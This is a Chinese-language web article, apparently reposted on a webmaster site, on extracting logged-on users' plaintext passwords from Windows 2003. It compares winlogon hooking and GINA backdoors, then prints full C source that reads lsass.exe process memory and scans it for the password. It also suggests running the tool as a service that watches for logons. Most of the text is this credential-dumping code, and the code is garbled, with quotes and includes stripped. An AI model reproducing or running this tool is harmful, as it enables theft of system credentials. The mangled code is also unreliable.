您现在的位置: 雪儿网络 >> 站长学院 >> 服务器 >> 文章正文

文章标题

如何在windows 2003中得到登陆密码

『 更新时间:2007-3-6 』『 字体:变小 变大 』『 作者:佚名 | 来源:不详 』
在所有nt系统中,都是有几种方法可以得到登陆用户的密码的。我知道的三种方法可以达到目的。   1.hook了winlogon中几个函数,网上也有这类型的程序,叫winlogonhijack的项目在rootkit.com中有提供,不过那个项目只对本地登陆用户有效,远程登陆用户无效。   2.使用gina和winlogon进行套接,只要对某些函数执行自己的记录密码的代码,就可以将密码记录下来,稳定性高,而且对本地或远程登陆都有效,不过现存的gina后门程序在xp或2003中都有些函数没有被导出过,主要因为xp和2003等在winlogon中加入了新的函数。   3.直接读取内存数据得到明文密码。在nt 4.0/2k中,早就有程序findpass可以直接读到winlogon进程中的内存数据而直接得到登陆用户密码,因为在nt4.0和2k中,帐号的信息,包括域名,帐号和密码都是有规律地在winlogon内存中的特定地址中,所以可以很简单就得到。但在xp和2003系统中,这样方法是无效的了,似乎我们是没有办法直接读出明文地址了。下面我们就来谈谈如何象findpass在nt 4.0和2k在,在server 2003中得到登陆用户的密码。   虽然xp和2003是不象以前的nt系统那样将登陆用户信息保存在winlogon进程的内存地址内,但是基lsass进程对于要处理些信息时,需要得到明文的登陆用户密码,所以登陆用户的密码会在lsass进程中出现(微软没有将密码在lsass进程中进行加密,微软的说法是因为lsass需要得到明文的密码,就算将密码加密,也都只能用可逆的方法加密,只要跟踪lsass的操作,一样可以得到明文密码,所以微软使用了比较懒惰的方法,可能也是为了加快响应速度,所以将明文密码更是放在lsass进程内存内)。说到这里,大家心里都清楚了,登陆用户的密码是在lsass进程的内存中。对,就是这么一回事,但是要得到这个明文密码,真是象使用nt 4.0和2k下的findpass那样容易吗?事实上并不是那么容易,因为以下几个原因:   a.密码存放在lsass进程中的内存地址是没有规律的   b.密码有可能被最后登陆的用户复盖(例如管理员abc从本地登陆,然后管理员bbb从远程登陆,然后管理员bbb注销终端,存放在lsass.exe进程内存中的密码,还是管理员bbb的密码),又或者用户登陆后,然后注销了,那么我们就算得到了密码,也不知道是哪个用户的密码。   c.密码前后的数据也是没有规律的,如果有规律,例如密码前的数据,一定是有一段全是01字符的数据段,那么定位密码就简单。   原因a和c都给我们带来定位密码的困难,原b就带来不能确定密码和帐号对应的问题.看来微软在新的系统还是做过点功夫。不过我们是不会放弃的,就算是碰碰运气,也看能不能得到密码,反正就算失败,也没什么关系。   最后的代码,是我写来测试是不是能在2003的系统中得到登际用户的密码,结果也正好象我们上面的分析一样(当然了,上面的结果是用这程序测测得到的)。成功率当然不高,因为受太多原因所影响,定位密码上的困难或者无法定位,或者得到不是密码的信息等等的原因,都令失败率显得相当高,不过总还是一种方法,或者将来有人可以准确定位到,那就是令人高兴了。虽然说失败率高,但在一种情况下,成功率却是很高的,那就是管理员只是在本地或终端中登陆了,以后再没有用户从本地或终端登陆过,而且管理员也没有锁上过系统,那么成功率就会是相当高的了。   提高成功率的两种做法:   1.程序直接写成服务,定时检查本地或远程登陆(其实没什么分别),当检测到登陆后,去搜索lsass进程内存,尝试得到密码。   2.程序模拟一个登陆(使用logonuser()就能搞定),因为使用logonuser()这个api,你要提供帐号名和对应的正确的密码,才可以成功,然后你就可以去搜索lsass进程内存。因为知道密码是什么,我们就能定位到密码是保存在什么地方。因为登陆用户的密码都是保存在同一个地址或相离不远的地址中,模拟登陆和搜索,可以先定位以后登陆的用户的密码会大约保存在什么位置。   无论怎说,三种方法中,最稳定,最安全的方法还是使用gina那种方法.hijack了winlogn一些api的方法,毕竟是改动了系统的东西,对系统的稳定性来说,会有考验,直接搜索lsass进程内存的方法呢,虽说也是困难,但准确性,成功率却又是低。   下面的代码使用的是很笨,而且很原始的搜索方法,主要是搜索lsass内存中localsystem remote procedure这个字符串,因为在相当多的测试中,密码都是保存在有这个字符串的地址后一点的位置中,当然了,很多系统并没有这个字符串,或者就算有,我们得到的都是错误的密码。    代码: //********************************************************************************   // version: v1.0   // coder: wineggdrop   // date release: 12/15/2004   // purpose: to demonstrate searching logon user password on 2003 box,the method   // used is pretty unwise,but this may be the only way to review the   // logon users password on windows 2003.   // test platform: windows 2003   // compiled on: vc++ 6.0   //********************************************************************************   #include   #include   #include   #define baseaddress 0x002b5000 // the base memory address to search;the password may be located before the address or far more from this address,which causes the result unreliable   char password[max_path] = ; // store the found password   // function prototype declaration   //------------------------------------------------------------------------------------------------------   bool findpassword(dword pid);   int search(char *buffer,const uint nsize);   dword getlsasspid();   bool is2003();   //------------------------------------------------------------------------------------------------------   // end of fucntion prototype declaration   int main()   {   dword pid = 0;   printf(windows 2003 password viewer v1.0 by wineggdrop\n\n);   if (!is2003()) // check out if the box is 2003   {   printf(the program cant only run on windows 2003 platform\n);   return -1;   }   pid = getlsasspid(); // get the lsass.exe pid   if (pid == 0) // fail to get pid if returning zerom   {   return -1;   }   findpassword(pid); // find the password from lsass.exe memory   return 0;   }   // end main()   //------------------------------------------------------------------------------------   // purpose: search the memory & try to get the password   // return type: int   // parameters: the memory buffer to search the size of the memory buffer   // note: the program tries to locate the magic string localsystem remote procedure,   // since the password is near the above location,but its not always true that   // we will find the magic string,or even we find it,the password may be located   // at some other place.we only look for luck   //------------------------------------------------------------------------------------   int search(char *buffer,const uint nsize)   {   uint offset = 0;   uint i = 0;   uint j = 0 ;   uint count = 0;   if (buffer == null)   {   return -1;   }   for (i = 0 ; i < nsize ; i++)   {   /* the below is to find the magic string,why so complicated?that will thank ms.the separation from word to word   is not separated with a space,but with a ending character,so any search api like strstr() will fail to locate   the magic string,we have to do it manually and slowly   */   if (buffer == l)   {   offset = 0;   if (strnicmp(&buffer[i + offset],localsystem,strlen(localsystem)) == 0)   {   offset += strlen(localsystem) + 1;   if (strnicmp(&buffer[i + offset],remote,strlen(remote)) == 0)   {   offset += strlen(remote) + 1;   if (strnicmp(&buffer[i + offset],procedure,strlen(procedure)) == 0)   {   offset += strlen(procedure) + 1;   if (strnicmp(&buffer[i + offset],call,strlen(call)) == 0)   {   i += offset;   break;   }   }   }   }   }   }   if (i < nsize)   {   zeromemory(password,sizeof(password));   for (; i < nsize ; i++)   {   if (buffer == 0x02 && buffer[i + 1] == 0 && buffer[i + 2] == 0 && buffer[i + 3] == 0 && buffer[i + 4] == 0 && buffer[i + 5] == 0 && buffer[i + 6] == 0)   {   /* the below code is to retrieve the password.since the string is in unicode format,so we will do it in   that way   */   j = i + 7;   for (; j < nsize; j += 2)   { 0)   {   password[count++] = buffer[j];   }   else   {   break;   }   }   return i + 7; // one flag to indicate we find the password   }   }   }   return -1; // well,we fail to find the password,and this always happens   }   // end search   //------------------------------------------------------------------------------------   // purpose: to get the lsass.exe pid   // return type: dword   // parameters: none   //------------------------------------------------------------------------------------   dword getlsasspid()   {   handle hprocesssnap;   handle hprocess = null;   processentry32 pe32;   dword pid = 0;   hprocesssnap = createtoolhelp32snapshot(th32cs_snapprocess, 0);   if( hprocesssnap == invalid_handle_value )   {   printf(fail to create snap shot\n);   return 0;   }   pe32.dwsize = sizeof(processentry32);   if( !process32first(hprocesssnap, &pe32))   {   closehandle(hprocesssnap); // must clean up the snapshot object!   return 0;   }   do   {   if (strcmpi(pe32.szexefile,lsass.exe) == 0)   {   pid = pe32.th32processid;   break;   }   }while(process32next( hprocesssnap, &pe32));   closehandle( hprocesssnap);   return pid;   }   // end getlsasspid()   //------------------------------------------------------------------------------------   // purpose: to find the password   // return type: boolean   // parameters: the lsass.exes pid   //------------------------------------------------------------------------------------   bool findpassword(dword pid)   {   handle hprocess = null;   char buffer[5 * 1024] = ;   dword byteget = 0;   int found = -1;   hprocess = openprocess(process_vm_read,false,pid); // open process   if (hprocess == null)   {   printf(fail to open process\n);   return false;   }   if (!readprocessmemory(hprocess,(pvoid)baseaddress,buffer,5 * 1024,&byteget)) // read the memory from lsass.exe   {   printf(fail to read memory\n);   closehandle(hprocess);   return false;   }   closehandle(hprocess);   found = search(buffer,byteget); // search the password = 0) // we may find the password   { 0) // yes,we find the password even we dont know if the password is correct or not   { \%s\\n,found + baseaddress,password);   }   }   else   {   printf(fail to find the password\n);   }   return true;   }   // end findpassword   //------------------------------------------------------------------------------------   // purpose: check if the box is windows 2003   // return type: boolean   // parameters: none   //------------------------------------------------------------------------------------   bool is2003()   {   osversioninfoex osvi;   bool b0sversioninfoex;   zeromemory(&osvi,sizeof(osversioninfoex));   osvi.dwosversioninfosize=sizeof(osversioninfoex);   if (!(b0sversioninfoex=getversionex((osversioninfo *)&osvi)))   {   osvi.dwosversioninfosize=sizeof(osversioninfo);   }   return (osvi.dwmajorversion == 5 && osvi.dwminorversion == 2);   }   // end is2003()   // end of file   附件程序相当于密码定位程序,用来测试在lsass内存中搜索指定的字符串或模拟登陆的密码.   用法: 在lsass进程内存中搜索指定的那个字符串,返回确定的位置 在系统中建立一个参数指定的用户,并进行模拟登陆,然后搜索密码在lsass进程内存中的位置,生成的帐户程序运行完后会自动删除。

【点击数:】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口

关文章

您的姓名:
评分等级:
1分 2分 3分 4分 5分
评论内容:
1、严禁发表危害国家安全、政治、黄色淫秽等内容的评论。
2、用户需对自己在使用雪儿网络服务过程中的行为承担法律责任。
3、本站管理员有权保留或删除评论内容。
4、评论内容只代表网友个人观点,与本网站立场无关。
雪儿网络
copyright©2006-2008 xueol.com 鄂icp备06022161号
返回网站顶部